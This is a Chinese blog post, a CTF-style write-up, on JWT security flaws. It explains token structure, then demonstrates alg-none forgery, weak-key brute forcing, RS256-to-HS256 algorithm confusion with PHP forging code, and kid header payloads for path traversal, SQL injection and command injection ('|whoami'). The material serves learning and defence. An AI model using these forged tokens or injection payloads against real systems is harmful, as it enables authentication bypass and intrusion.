JWT安全问题

最新推荐文章于 2024-06-13 09:51:01 发布
最新推荐文章于 2024-06-13 09:51:01 发布
阅读量1.7k 收藏 2
点赞数
分类专栏： Web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43936524/article/details/116244214
版权

文章目录

JWT概述

Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。
JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须的声明信息，该token也可直接被用于认证，也可被加密。

客户端与服务器通信时，身份验证通过后服务端会生成返回一个带有签名的JSON对象。客户端储存该对象并在之后的通信中附加上此JSON对象用以身份认证。

JWT与session的不同
1.session用作身份认证时服务器会生成一个sessionID并返回，客户端一般在cookie中保存这个sessionID。而session储存的会话信息则保存在服务端，每次用户查询时依赖sessionID查看储存的会话相关信息，这样随着认证的用户越来越多会对服务器造成极大的压力。
2.JWT则仅仅储存在用户本地，服务端收到带有JWT的请求时会对其中的签名进行校验来判断请求身份的合法性，服务器不保存会话相关数据，本质上是一种cpu换取储存空间的行为，减少了服务端的存储压力。
在这里插入图片描述

JWT组成

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

jwt是个字符串，由三部分header，payload，signature组成，每个部分以.分隔。简单来看就是

Header.Payload.Signature

header(头部)

头部主要储存两部分信息

  1. alg属性表示token签名的算法(algorithm)，最常用的为HMAC和RSA算法
  2. typ属性表示这个token的类型（type），JWT 令牌统一写为JWT。

在这里插入图片描述

payload(负载)

Payload 部分也是一个 JSON 对象，用来存放实际需要传递的信息。信息分为三个种类

  • 官方的声明
  • 公共的声明

官方声明包含七个部分

  • iss: jwt签发者
  • sub: jwt所面向的用户
  • aud: 接收jwt的一方
  • exp: jwt的过期时间，这个过期时间必须要大于签发时间
  • nbf: 定义在什么时间之前，该jwt都是不可用的.
  • iat: jwt的签发时间
  • jti: jwt的唯一身份标识，主要用来作为一次性token,从而回避重放攻击。

公共声明
公共的声明可以添加任何的信息，一般添加用户的相关信息或其他业务需要的必要信息。
此部分可以在客户端被解码为明文，所以不建议储存敏感信息。

将上面的第二部分解码后，可以看到name即用户自定的信息

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

signature(签名)

Signature 部分是对前两部分的签名，防止数据篡改。
指定一个只有服务端知道的密钥后，按照header部分指明的算法对前两部分的Base64内容加密，算法如下

// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);

var signature = HMACSHA256(encodedString, 'secret');

JWT的安全问题

敏感信息泄露

顾名思义就是Jwt经过Base64解码后的明文中存在敏感信息
这里以CTFHub的题目为例
在这里插入图片描述
登录后可以看出身份认证的字段为JWT形式
在这里插入图片描述
解码后即可得到flag
在这里插入图片描述

None算法

JWT支持空加密算法，在header的alg字段设置为None并将signature字段设置为空。
node的jsonwentoken库已知缺陷：当jwt的secret为null或undefined时，jsonwebtoken会采用algorithm为none进行验证
同样以一道CTFhub的题目为例
在这里插入图片描述
登录后服务器返回JWT字段，并向/index.php发出请求，带上刚刚登录获得的JWT字段
登录后显示在这里插入图片描述
提示要以admin的身份登录
对JWT解码查看内容
在这里插入图片描述
这里直接修改role内容会爆出302错误，所以先修改alg字段为None，再设置signature为空
因为https://jwt.io/#debugger不支持生成alg为None的JWT，所以采用PyJWT生成

import jwt

if __name__ == '__main__':
    dic = {
        "username": "kit",
        "password": "123",
        "role": "admin"
    }

    s = jwt.encode(dic,algorithm="none",key="")
    print(s)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImtpdCIsInBhc3N3b3JkIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.

替换JWT后即可得到flag
在这里插入图片描述

弱密钥

如果JWT采用对称加密算法，并且密钥的强度较弱的话，攻击者可以直接通过蛮力攻击方式来破解密钥
爆破工具:
c-jwt-cracker这个工具好像只能字符序列穷举爆破
JWTPyCrack可以实现从字典中提取key并进行爆破
也可以自己写脚本利用PyJWT根据不同key生成jwt字段并比较。

使用JWTPyCrack工具有个坑，安装的PyJWT必须是1.7.1之前版本，之后的版本修改了jwt.decode函数会报错
pip install pyjwt==1.7.1

以CTFHub中的弱秘钥题目为例
在这里插入图片描述

爆破语句

python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.BjioeRRMXdEadknYF5ujoLTZ9WhaFXCI2OdmEUangDk --kf D:\web\tool\JWTPyCrack\dic.txt

换了几个字典，没爆破出来…
还得用c-jwt-cracker去穷举
在这里插入图片描述
爆破出秘钥后直接替换admin并生成就可以得到flag
在这里插入图片描述

修改算法(非对称算法–>对称算法)

JWT中最常用的两种算法为HMAC和RSA

HMAC(HS256):是一种对称加密算法，使用公共密钥对每条消息进行签名和验证
RSA(RS256)：是一种非对称加密算法，使用私钥加密明文，公钥解密密文。

将算法从非对称算法修改为对称算法以后，那么原本只有窃取到服务端私钥，利用私钥加密的signature便可以通过公钥进行加密。而公钥是客户端有可能获取的，从而实现伪造JWT。
同样以CTFHub的题目为例
在这里插入图片描述

进入题目可以看到源码

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <title>CTFHub JWTDemo</title>
        <link rel="stylesheet" href="/static/style.css" />
    </head>
    <body>
        <main id="content">
            <header>Web Login</header>
            <form id="login-form" method="POST">
                <input type="text" name="username" placeholder="Username" />
                <input type="password" name="password" placeholder="Password" />
                <input type="submit" name="action" value="Login" />
            </form>
            <a href="/publickey.pem">publickey.pem</a>
        </main>
        <?php echo $_COOKIE['token'];?>
        <hr/>
    </body>
</html>

JWT处理相关代码

<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;

class JWTHelper {
  public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        $token = "";
        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'admin',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        } else {
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'guest',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        }
        @setcookie("token", $token, time()+1800);
        header("Location: /index.php");
        exit();
    } else {
        @setcookie("token", "");
        header("Location: /index.php");
        exit();
    }
} else {
    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
        if ($obj->role === 'admin') {
            echo $FLAG;
        }
    } else {
        show_source(__FILE__);
    }
}

直接看echo $FLAG语句的条件，当请求方法不为POST进入else分支。Cookie中token字段不为空，而且JWTHelper的decode方法对jwt进行解码后role字段为admin就会弹出flag。
接下来看decode方法，使用getHeader获得jwt的header部分，并且从header中获取使用的算法。所以我们可以构造一个HS256的jwt，同时利用页面提供的公钥文件进行加密以通过验证。
这里如果采用python脚本构造的话可能会报错，jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.提供的密钥是非对称密钥无法用于对称加密算法。
大概搜索了一下解决方法jwt-encoding-using-hmac-with-asymmetric-key-as-secret看回答说是要用很早之前的pyjwt库才可以。所以这里直接本地搭建题目相同的php环境来生成jwt。

composer require firebase/php-jwt

本地代码

<?php
use \Firebase\JWT\JWT; //使用某个命名空间的类 并不能导入该类

require "vendor/autoload.php";

class JWTHelper {
    public static function encode($payload=array(), $key='', $alg='HS256') {
        return JWT::encode($payload, $key, $alg);
    }
    public static function decode($token, $key, $alg='HS256') {
        try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
            return JWT::decode($token, $key, $algs);
        } catch(Exception $e){
            return false;
        }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}


$PUBLIC_KEY = file_get_contents("./publickey.pem");
// 测试解密
$encodejwt = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJndWVzdCJ9.tUtCTMPsSqAy9kv47OhDneYfeBfYiELXkM7pPa4h1TlYihj_B9yy3vtMH4s8bXeeV4AJOeFsqTIM_18C7cfclsm7xCyNy5uQtRu3uQBO_8huUcKhjzWovfZ6pM_GJKha5LHFNqji0dawc4cy7GGOau7aR9GAPip8UHTiUqdn26-33VfNQ9xuV7l34SPxd9D1kxFFcUoDC1bVOHveN0TAW0_FjNijhOk4dqtlGV4uYnYFa1tWMQhaiwaw2A4e7EEJiDNCZD9uTdPUBh6H8lQMR0QFfLGHD4qAN8nzO-G5PlXkxOskGHMjnI1sXnsEl7s1lacS7Kb6HdyPn3NaU0xVUA';
$decoderjwt =JWTHelper::decode($encodejwt, $PUBLIC_KEY,'RS256');
var_dump($decoderjwt);
// 测试结果
// object(stdClass)#4 (2) { ["username"]=> string(3) "kit" ["role"]=> string(5) "guest" }

// 生成payload
$jwt_payload = array(
    'username' => 'kit',
    'role' => 'admin',
);
$token = JWTHelper::encode($jwt_payload,$PUBLIC_KEY,'HS256');
echo $token."<br>";

// 测试生成的payload
if(JWTHelper::decode($token,$PUBLIC_KEY)!=false){
    $res = JWTHelper::decode($token,$PUBLIC_KEY);
    if($res->role === 'admin'){
        echo "get flag";
    }
}

// 生成和测试的结果
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJhZG1pbiJ9.uTl0zwSzDdJNd4VcTbamqZNn1bspovSx4CgHffvkUVk
get flag

拦截报文替换后即可获得flag
在这里插入图片描述

修改kid参数

kid是jwt header中的一个可选参数，全称是key ID，它用于指定加密算法的密钥。我们可以通过修改kid参数进行目录遍历、sql注入、命令注入等攻击

#目录遍历
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/etc/passwd"
}
#sql注入
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "aaaaaaa' UNION SELECT 'key';-- "
#命令执行
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/path/to/key_file|whoami"
}

修改JKU/X5U参数

类似于kid ,可以由用户进行输入，如果没有经过严格过滤，就可以指定一组自定义的密钥文件，并指定web应用使用该组密钥来验证token。

JKU全称是“JWKSet URL”，它是头部的一个可选字段，用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件，攻击者就能托管自己的密钥文件，并指定应用程序，用它来认证token。

XSU头部参数允许攻击者用于验证Token的公钥证书或证书链

参考文章:
https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob
https://jwt.io/#debugger
https://xz.aliyun.com/t/9376#toc-4
https://github.com/brendan-rius/c-jwt-cracker

kit_1
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
JWT安全问题—学习笔记（1）
m0_57781768的博客
11-17 306
JWT （JSON Web Token） 是目前最流行的跨域认证解决方案，是一种基于 Token 的认证授权机制。从 JWT 的全称可以看出，JWT 本身也是 Token，一种规范化之后的 JSON 结构的 TokenJWT 自身包含了身份验证所需要的所有信息，因此，我们的服务器不需要存储 Session 信息。这显然增加了系统的可用性和伸缩性，大大减轻了服务端的压力。可以看出，。
JWT安全问题—学习笔记（2）
m0_57781768的博客
11-17 1152
有了签名之后，即使 JWT 被泄露或者解惑，黑客也没办法同时篡改 Signature 、Header 、Payload这是为什么呢？因为服务端拿到 JWT 之后，会解析出其中包含的 Header、Payload 以及 Signature。服务端会根据 Header、Payload、密钥再次生成一个 Signature。拿新生成的 Signature 和 JWT 中的 Signature 作对比，如果一样就说明 Header 和 Payload 没有被修改。
JWT 详细分析
cristianoxm的博客
03-24 499
首先我们从 Token 入手，再联系到 JWT，然后分析 JWT 的优缺点和使用场景，最后再联系到 Oauth2.0。 一、Token token 是一串字符串，通常因为作为鉴权凭据，最常用的使用场景是 API 鉴权。 API 鉴权 那么 API 鉴权一般有几种方式呢？我大概整理了如下： cookie + session 和平常 web 登陆一样的鉴权方式，很常见，不再赘述。 HTTP Basic 将账号和密码拼接然后 base64 编码加到 header 头中。很显然，因为账号和密码几乎是『明
JWTPyCrack.zip
01-17
非常快速的jwt密码破解工具！
JWT安全漏洞以及常见攻击方式
最新发布
zzz6583zz的博客
06-13 796
JWT即Json WebToken的缩写，顾名思义，是Token的一种。它常被用来在向服务器发起请求时用作身份认证。使用JWT作为身份认证的优势在于：它不需要在服务端去保留用户的认证信息。仅需要对该Token正确性进行校验即可,这就意味着基于token认证机制的应用,不需要去考虑用户在哪一台服务器登录了，为应用的扩展提供了便利。新技术带来便利的同时也会带来新的安全问题，如果JWT本身安全存在问题，那么整个身份认证机制就会得不到保障。JWT由三部分组成，类似于。
JWT安全 知识点总结
绮洛Ki1ro的博客
08-11 2219
JWT安全相关知识点总结
Burpsuite 支持扫描漏洞列表
SHELLCODE_8BIT的博客
10-10 2070
burpsuite 支持扫描漏洞列表
安全经典JWT算法漏洞
kali_Ma的博客
11-29 5909
1、什么是JWT？ JSON Web令牌（JWT）是一个开放标准（RFC 7519），它定义了一种紧凑而独立的方法，用于在各方之间安全地将信息作为JSON对象传输。由于此信息是经过数字签名的，因此可以被验证和信任。可以使用secret（HMAC算法）或使用“RSA或ECDSA的公用/私有key pair密钥对”对JWT进行签名。 尽管可以对JWT进行加密以提供双方之间的secrecy保密性，但我们将重点关注signed tokens已签名的令牌。signed tokens已签名的令牌可以
JWT的安全问题
weixin_48170459的博客
09-13 2715
本文主要讨论JWT的安全问题，因水平有限，可能有些安全方面没有涉及到，欢迎各位师傅在评论区留言补充 JWT（JSON Web Token）是一个开放标准(RFC 7519)，它定义了一种紧凑的、自包含的方式，用于作为JSON对象在各方之间安全地传输信息。该信息可以被验证和信任，因为它是数字签名的。 JWT的组成 它由三部分组成，头部、载荷与签名 通常如下所示 xxxx.yyyy.zzzz 头部 alg表示了该jwt所使用的签名算法 typ表示格式 载荷 载荷一般记载角色的权限信息，iat表示创建时间
JWT 网关TOKEN 加密
05-15
JSON Web Token (JWT) 是一种广泛使用的轻量级身份验证机制，它允许服务端生成一个包含用户信息的令牌，该令牌可以在客户端之间安全地传递。然而，原始的JWT令牌可能包含敏感信息，如果未加密，可能会面临安全风险。...
JWT爆破篡改工具-离线
04-03
从爆破到篡改，完美闭环
第40天：JAVA安全-JWT安全及预编译CASE注入等1
08-03
在IT安全领域，尤其是Java应用的安全性，理解并掌握JSON Web Token（JWT）以及如何防止SQL注入至关重要。JWT是一种安全的身份验证机制，广泛应用于单点登录（SSO）和其他需要跨域验证用户身份的场景。 JWT由三部分...
JWT安全(总结得很全面)1
08-03
JSON Web Token（JWT）是一种广泛使用的轻量级身份验证和授权机制，主要优点在于它可以将用户的认证信息以安全的方式在客户端和服务器之间传递，而无需在服务器端存储session信息。JWT的安全性和工作原理如下： ...
JWTtoken验证.zip
04-16
Json web token (JWT），适用于分布式站点的单点登录（SSO）场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息，以便于从资源服务器获取资源，也可以增加一些额外的其它业务逻辑所必须...
jwt 私钥_浅析JWT
weixin_35835184的博客
12-30 3379
点击?蓝色“深入原理”，关注并“设为星标”技术干货，第一时间推送1 JWT原理介绍 1、JWT 的原理JWT 的原理是，服务器认证以后，生成一个 JSON 对象，发回给用户，就像下面这样。{ "姓名": "张三", "角色": "管理员", "到期时间": "2020年9月1日0点0分"}以后，用户与服务端通信的时候，都要发回这个 JSON 对象。服务器完全只靠这个对象认定用...
JWT详解
liyan_0816的博客
06-14 1571
什么是JWT JWT是一个非常轻巧的规范,这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息,一个JWT由三部分组成,Header头部、Claims载荷、Signature签名 JWT （header） JWT头部承载两部分信息 令牌类型：JWT 加密算法：通常直接使用HMAC SHA256 { "alg": "HS256", "typ": "JWT" } 有效载荷 （payload） 有效载荷部分是JWT的主体内容（存放有效信息），同样也是一个json对象，JWT指定了七个默.
JWT漏洞
qq_41696518的博客
06-24 894
JWT其实就是对传输数据套了一层加密，保证数据没有被篡改和替换。没有密钥的情况下，直接修改数据时无效的，无法通过数据校验。JWT其实是明文传输。JWT对传输的header、payload数据其实就是Base64加密，可直接解密。仅是加了签名字段，校验数据是否被更改，所以JWT一般不传输敏感数据。同时程序员没注意也存在敏感信息泄露。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值